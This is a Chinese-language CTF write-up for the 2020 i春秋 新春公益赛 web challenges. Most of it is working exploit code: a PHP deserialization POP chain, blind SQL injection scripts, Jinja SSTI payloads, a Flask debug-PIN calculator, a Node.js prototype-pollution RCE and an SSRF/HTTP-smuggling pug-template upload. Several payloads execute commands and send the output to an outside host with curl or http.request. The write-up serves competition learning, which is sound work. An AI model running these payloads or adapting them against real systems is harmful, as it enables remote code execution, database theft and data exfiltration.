新春公益赛2020Writeup

有一两道挺有意思的

简单的招聘系统

很坑, 一开始下发的环境不对, 日了半天

万能密码绕过+union 注入

babyphp

改自[0ctf 2016] piapiapia, 具体的思路是反序列化逃逸和 pop 链构造

首先是反序列化逃逸

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

具体的分析可以找原题看一下, 反序列化逃逸有这两种方向

  1. 替换后变长, 在 value 的部分构造逃逸, 如本题和 piapiapia
  2. 替换后变短, 在 key 的部分构造, 如[axb 2019]easy_serialize_php

然后就是反序列化链的构造

nickname可控, 然后寻找__destruct

有个echo, 可以用来触发__toString, 其实本题还有一个__destruct, 但是比较坑

首先存在过滤flag, 无法读取 flag.php, 其次没有输出点, 读了也没用

我们继续找找__toString

会调用一个update函数, 对于函数调用我们有两种处理方法

  1. 寻找带有这个函数的类
  2. 寻找__call方法

因为这个update还是空的

我们就找__call

有个login的调用, 这个就是我们想要的了, 看一下这个函数

sql 用的是 PDO 方法, 一般没有 sql 注入, 但是这里会返回一个$idResult, 也就是第一列的结果, 而前面的调用还有个echo, 也就是能够回显第一列的结果, 我们就可以利用这个来注出密码

exp 如下

<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age='select password,password from user where username!=?';
public $nickname=null;
}
class Info{
public $age;
public $nickname = "a";
public $CtrlCase;
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='1';
public $password=2;
public $mysqli;
public $token="admin";
}
$o = new dbCtrl();
$i = new Info();
$i->CtrlCase = $o;
$u = new User();
$u->nickname = $i;
$h = new UpdateHelper();
$h->sql = $u;
$f = new Info();
$f->CtrlCase = $h;
$s = serialize($f);
assert($s===safe($s));
$s = substr($s,47);
$len = strlen($s);
$res = "";
for($dd=0;$dd<$len;$dd++){
$res.="union";
}
$res.=$s;
file_put_contents("out.txt", $res);

密码

解密后是

yingyingying

登录就看到 flag 了

ezupload

传马 getshell 一气呵成

盲注

<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

过滤了一部分字符, 手测了一下

主要过滤的是

select, union, =, >, <

一直以为这个fl4g是另外一个表, 研究了很久的姿势如何在没有select的情况下注入其他表, 后面才发现这个可能是个全局变量…

后面就是一般的盲注手法了

import requests
import string
url = "http://bfc4946ac3554e7bb5e1d801c886b92d69a90297d36e47be.changame.ichunqiu.com/"
proxies = {
"http": "127.0.0.1:8080"
}
words = string.ascii_lowercase + "-{}"
def exp():
payload = "if(ascii(substr(fl4g,%d,1))^%d,0,sleep(5))"
res = ""
for i in range(1, 45):
for j in words:
try:
params = {
"id": payload % (i,j)
}
text = requests.get(url, params=params, timeout=2).text
except:
res += chr(j)
print(res)


if __name__ == "__main__":
exp()

easy_sqli_copy

<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

盲注, exp 如下

import requests
from Crypto.Util.number import long_to_bytes, bytes_to_long
from libnum import s2n
import string
import re
url = "http://e0bac4dbfc61452b906f16cacbe31e9bfe43db0e990f4ace.changame.ichunqiu.com/"
pattern = re.compile("union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database", re.I)
def gen(payload, pos, num):
"""
SET @SQL=0x73656c65637420646174616261736528293b;
PREPARE pord FROM @SQL;EXECUTE pord;"""
res = "%bf%27;SET @x=" + (hex(s2n(payload % (pos, num)))) + ";PREPARE xx FROM @x;EXECUTE xx;/*"
# print(res)
if pattern.match(res):
print("match")
exit(0)
return res

def exp():
# payload = "select if((ascii(substr(reverse((select group_concat(table_name) from information_schema.tables where table_schema=database())),%d,1))>%d),0,sleep(4));"
payload = "select if((ascii(substr(reverse((select fllllll4g from pdotest.table1)),%d,1))>%d),0,sleep(4));"
res = ""
for i in range(1,60):
start = 32
end = 128
mid = (end + start) // 2
while end > start:
params = {
"id": gen(payload, i, mid)
}
try:
requests.get(url+"?id="+params['id'], timeout=2)
start = mid + 1
except:
end = mid
mid = (end + start) // 2
res = chr(mid) + res
print(res)
# print(f"{i}: {res}")

if __name__ == "__main__":
exp()

改进了一个多线程版本, 一分钟不到就可以注出结果

import requests
from libnum import s2n
import string
import re
from multiprocessing.pool import ThreadPool
url = "http://e0bac4dbfc61452b906f16cacbe31e9bfe43db0e990f4ace.changame.ichunqiu.com/"
pattern = re.compile("union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database", re.I)
res = ["" for i in range(60)]
def gen(payload, pos, num):
"""
SET @SQL=0x73656c65637420646174616261736528293b;
PREPARE pord FROM @SQL;EXECUTE pord;"""
res = "%bf%27;SET @x=" + (hex(s2n(payload % (pos, num)))) + ";PREPARE xx FROM @x;EXECUTE xx;/*"
# print(res)
if pattern.match(res):
print("match")
exit(0)
return res

def exp(i):
# payload = "select if((ascii(substr(reverse((select group_concat(table_name) from information_schema.tables where table_schema=database())),%d,1))>%d),0,sleep(4));"
payload = "select if((ascii(substr(((select fllllll4g from pdotest.table1)),%d,1))>%d),0,sleep(4));"
# for i in range(1,60):
if i:
start = 32
end = 128
mid = (end + start) // 2
while end > start:
params = {
"id": gen(payload, i, mid)
}
try:
requests.get(url+"?id="+params['id'], timeout=2)
start = mid + 1
except:
end = mid
mid = (end + start) // 2
res[i] = chr(mid)
print("".join(res))
# print(f"{i}: {res}")

if __name__ == "__main__":
pool = ThreadPool(5)
for i in range(45):
pool.apply_async(exp, (i, ))
# exp()
pool.close()
pool.join()

black_list

https://skysec.top/2019/12/13/2019-FudanCTF-Writeup/

飘零师傅 tql

ezsqli

这道题过滤了很多东西, 主要参考的是出题人的博客

https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/

由于我们没有 union, 无法使用常规的无列名注入, 找了很多资料, 只有 smi1e 师傅的这个 payload 可用

mysql> SELECT * FROM USERS WHERE ID =1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 123 | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> SELECT * FROM USERS WHERE ID = ((select 1,123,'Dumb') <= (select * from users limit 1));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 123 | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM USERS WHERE ID = ((select 2,123,'Dumb') <= (select * from users limit 1));
Empty set (0.00 sec)

通过字符串比较的方式来盲注数据库内容, 只要保证我们的输入和另外一个表的列数相同即可

而 smi1e 师傅后面提出的使用二进制字符串比较来判断大小写的方法, 在这次比赛中其实可以不用, 因为 uuid 生成的字符串都是小写的, 我们获取后转换即可

首先获取表名, 使用的是

sys.schema_table_statistics_with_buffer

这个表, 就可以看到表名

注入的话有两个 payload

((select 1,concat('%s~',cast('0' as json)))<(select * from `f1ag_1s_h3r3_hhhhh`))+1

或者

((select 1,%s)<(select * from `f1ag_1s_h3r3_hhhhh`))+1

自行取舍即可

import requests
from libnum import s2n
import string

url = "http://256316c4db254f85a34ea7e5e0f076ffc0fa0637c924448c.changame.ichunqiu.com/"

def exp():
# payload = "0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer),%d,1))>%d)"
payload = '''((select 1,concat('%s~',cast('0' as json)))<(select * from `f1ag_1s_h3r3_hhhhh`))+1'''
# payload = '''((select 1,%s)<(select * from `f1ag_1s_h3r3_hhhhh`))+1'''

res = ""
for i in range(45):
for j in "-" + string.digits + string.ascii_letters + "{}":
data = {
"id": payload % (res + j)
}
try:
text = requests.post(url,data=data, timeout=3).text
except TimeoutError:
print("timeout")
if "hacker" in text:
print("Error")
exit(0)
if "Nu1L" in text:
break
res += j
print(res)

def exp2():
# payload = "0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer),%d,1))>%d)"
payload = '''((select 1,%s)<(select * from `f1ag_1s_h3r3_hhhhh`))+1'''

res = ""
for i in range(45):
end = 127
start = 32
mid = (end + start) // 2
while end > start:
data = {
"id": payload % (hex(s2n(res + chr(mid))))
}
try:
text = requests.post(url,data=data, timeout=3).text
except TimeoutError:
print("timeout")
if "hacker" in text:
print("Error")
exit(0)
if "Nu1L" in text:
end = mid
else:
start = mid + 1
mid = (end + start) // 2
res += chr(mid - 1)
print(res)

if __name__ == "__main__":
exp2()

flaskapp

这道题有多种做法, 具体可以参考

https://www.anquanke.com/post/id/197602

命令执行

ls /> /tmp/test

这样的方法来获取命令结果, 对于过滤的地方可以使用

l\s

对于多行内容也可以使用

ls |bas\e64

来转码输出, 然后弹到远程接收之类都可以

或者在字符串里面使用拼接

'cat fl'+'ag'

这样, 绕过的方式很多, 给出一个命令执行的 payload

payload = "{% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('curl http://ip:9000/`ls`') %}2{% endif %}"

顺带一提, 当时 ls 后的结果不全, 不知道是否有截断, 可以使用

ls -r

反序输出

debug 界面使用 pin 码 getshell

根据上面安全客的文章, 但是一直没算对, 脚本如下, 主要的点在于

获取 machineid 的地方发生了更新, 这里应该使用

读文件的 payload 如下

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

先获取需要的几个参数, 然后再计算一下, 就可以 getshell 了

import requests
from base64 import b64encode

url = "http://182.92.243.154:10002/"
payload = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}"

def calc(username='flaskweb', modname='flask.app', appname='Flask', filepath='', netid='2485377957892', machineid='81ef01dec0f0eb6d6c0f3752b487b10e'):
import hashlib
from itertools import chain
probably_public_bits = [
username,# username
modname,# modname
appname,# getattr(app, '__name__', getattr(app.__class__, '__name__'))
filepath # getattr(mod, '__file__', None),
]

private_bits = [
netid,# str(uuid.getnode()), /sys/class/net/ens33/address
machineid# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv
def getnet():
file = "/sys/class/net/eth0/address"
data = {
"text":b64encode(payload.replace("filename", file).encode())
}
res = requests.post(f"{url}decode", data=data).text
import re
res = re.findall("结果.+", res)[0][-17:]
return add2str(res)
def getmachine():
file = "/proc/self/cgroup"
data = {
"text":b64encode(payload.replace("filename", file).encode())
}
res = requests.post(f"{url}decode", data=data).text
import re
res = re.findall("结果.+", res)[0][22:]
return res
def readfile(name):
data = {
"text":b64encode(payload.replace("filename", name).encode())
}
res = requests.post(f"{url}decode", data=data).text
import re
# res = re.findall("结果.+", res, re.MULTILINE)
print(res)
print(b64encode(payload.replace("filename", name).encode()))


def add2str(address):
return str(int(address.replace(":",""), 16))


if __name__ == "__main__":
netid = getnet()
machineid = getmachine()
username = "flaskweb"
modname = "flask.app"
appname = "Flask"
filepath = "/usr/local/lib/python3.7/site-packages/flask/app.py"
print(calc(username=username, netid=netid, machineid=machineid, appname=appname, filepath=filepath,modname=modname))
# readfile("/proc/self/cgroup")

比赛后成功了, 发现是我传参传少了…

ezexpress

先读一下源码, 发现有两个函数

原型链污染无疑, 具体的原理可以去看 p 神的文章

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

简单解释一下就是, 先构造一个对象, 使得他的原型中某个属性为需要注入的值, 这里为hack

var b.__proto__.exp = hack

而由于 js 原型链的问题, 如果对b{}执行了merge, 也就是上面clone函数做的事, 就会使得

{}.exp = hack

从而给{}注入了一个exp属性

而这里的注入点也比较明显, 可以看

/info可以输出一个值, 而/action则是对我们 post 的内容调用了clone, 那么我们就可以进行注入, 不过需要先绕过一个ADMIN的检测

这里会有一个toUpperCase(), 很快就联想到 p 神的一篇文章

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

通过特殊字符来绕过

ADMıN

大写后为

ADMIN

然后就可以顺利发包了, 需要注意如果要使得我们的包被 json 解析, 需要设置 header 为

'Content-Type': 'application/json'

然后就是 RCE 了, 我选择发到服务器上接受

exp 如下

import requests
import json

url = "http://123.57.212.112:60072/"
headers = {
'Content-Type': 'application/json'
}
data = {
'__proto__': {
'outputFunctionName': "test\nvar require = global.require || global.process.mainModule.constructor._load;"
"var result = require('child_process').execSync('cat /flag');"
"var req = require('http').request(`http://x.x.x.x:2333/?${result}`);"
"req.end();\n//"
}
}
session = requests.Session()
def attack():
login_data = {
"userid": "ADMıN",
"pwd": "admin",
"action": "login",
"Submit": "register"
}
session.post(f"{url}login", data=login_data)
session.post(f"{url}action", data=json.dumps(data), headers=headers)
res = session.get(f"{url}info").text

if __name__ == "__main__":
attack()

easy_thinking

看到 tp 框架, 首先测一下版本, 随便使得路由出错即可

这个版本的话目前只有 6.0.1 的一个利用 session 的 rce, 然后在www.zip找到了源码, 看一下版本

这里表面上是 6.0.2, 其实实际上还是 6.0.1, 因为那个洞没修 hhh

如果是 6.0.2 的话多一个检测, 明白了漏洞就找一下注入点, 主要代码在这里

大概就是会把我们搜索的内容写到 session 里面, 然后根据 session 可控文件名的漏洞, 就可以传马了, 步骤如下

  1. PHPSESSION后四位改成.php
  2. 注册并登陆
  3. 在搜索框注入 shell
  4. 访问/runtime/session/获取写入的 shell

后面则是突破 disable_function 的一般操作, 网上很多了, 可以直接用蚁剑或者是别人写好的脚本

推荐蚁剑的绕过disable_functions, 比较快

nodegame

这道题比较有意思, 先看代码

var express = require("express");
var app = express();
var fs = require("fs");
var path = require("path");
var http = require("http");
var pug = require("pug");
var morgan = require("morgan");
const multer = require("multer");

app.use(multer({ dest: "./dist" }).array("file"));
app.use(morgan("short"));
app.use("/uploads", express.static(path.join(__dirname, "/uploads")));
app.use("/template", express.static(path.join(__dirname, "/template")));

app.get("/", function(req, res) {
var action = req.query.action ? req.query.action : "index";
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + "/template/" + action + ".pug");
var html = pug.renderFile(file);
res.send(html);
});

app.post("/file_upload", function(req, res) {
var ip = req.connection.remoteAddress;
var obj = {
msg: ""
};
if (!ip.includes("127.0.0.1")) {
obj.msg = "only admin's ip can use it";
res.send(JSON.stringify(obj));
return;
}
fs.readFile(req.files[0].path, function(err, data) {
console.log("try to upload");
if (err) {
obj.msg = "upload failed";
res.send(JSON.stringify(obj));
} else {
var file_path = "/uploads/" + req.files[0].mimetype + "/";
console.log(file_path);
var file_name = req.files[0].originalname;
var dir_file = __dirname + file_path + file_name;
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path);
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return;
}
}
try {
fs.writeFileSync(dir_file, data);
obj = {
msg: "upload success",
filename: file_path + file_name
};
} catch (error) {
obj.msg = "upload failed";
}
res.send(JSON.stringify(obj));
}
});
});

app.get("/source", function(req, res) {
res.sendFile(path.join(__dirname + "/template/source.txt"));
});

app.get("/core", function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = "http://localhost:8081/source?" + q;
console.log(url);
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding("utf8");
resp.on("error", function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on("data", function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on("error", e => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
});

function blacklist(url) {
var evilwords = [
"global",
"process",
"mainModule",
"require",
"root",
"child_process",
"exec",
'"',
"'",
"!"
];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true;
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address;
var port = server.address().port;
console.log("Example app listening at http://%s:%s", host, port);
});

考点是 ssrf, 而这里利用的是

https://xz.aliyun.com/t/2894

在 nodejs8.12.0这个版本中, 程序在底层处理的时候会舍弃高位的字符, 只保留低位的字符, 也就是说

假如我们传入

chr(0xffa0)

处理后会被截断为

chr(0xa0)

那么我们就可以利用这个特点来进行编码绕过, 方法如下

def exp_code(word):
return quote(''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in word))

其中的0xff可以随意设定, 不会影响结果

然后再利用 http 走私攻击, 向程序发送两个请求, 这里在构造数据包的时候需要将\n替换为\r\n, 否则将无法识别为正常的请求包

payload.replace("\n", "\r\n")

接着我们就可以构造请求类似这样

 HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: x
Content-Length: 193
Origin: http://123.57.212.112:33322
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL3EANY7czeEB7XdW
Connection: keep-alive

------WebKitFormBoundaryL3EANY7czeEB7XdW
Content-Disposition: form-data; name="file"; filename="cjm22n.pug"
Content-Type: text/javascript

baaaaaa
------WebKitFormBoundaryL3EANY7czeEB7XdW--

GET /flag HTTP/1.1
Host: x
Connection: close
x:

大概这样的请求来进行绕过, 再看程序上传的流程

文件目录在

/upload/minetype/

如果我们使得minetype

../template

就可以将文件写入模板目录中, 再通过

这里进行任意访问, 首先需要 rce, 我们可以通过 pug 模板的

- global.process.mainModule.require('child_process').execSync('evalcmd')

来执行命令, 编写 exp 如下

import requests
from urllib.parse import quote
url = "http://182.92.243.154:33323/"

def upload(cmd):
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: x
Content-Length: 304
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBOpB7RbAKnIckY80
Connection: keep-alive

------WebKitFormBoundaryBOpB7RbAKnIckY80
Content-Disposition: form-data; name="file"; filename="cjm00n.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('curl http://ip:port/ -X POST -d `evalcmd`')
------WebKitFormBoundaryBOpB7RbAKnIckY80--


GET /flag HTTP/1.1
Host: x
Connection: close
x: '''
payload = payload.replace("\n", "\r\n").replace("evalcmd", cmd).replace("304", str(297 + len(cmd)))
payload = ''.join(chr(int('0xee' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
params = {
"q": payload
}
requests.get(f"{url}core", params=params,)
try:
requests.get(f"{url}?action=cjm00n", timeout=2)
except:
print("done")
# print(res)

def exp_code(word):
return quote(''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in word))

if __name__ == "__main__":
upload("cat /flag.txt")
# print(exp_code("`"))

使用的时候替换一下 ip 和 port, 以及重新计算一下Content-Length


作者: cjm00n
地址: https://cjm00n.top/CTF/icq-gyctf-2020-writeup.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

V&N公开赛2020 writeup BuuOJ刷题记录3

评论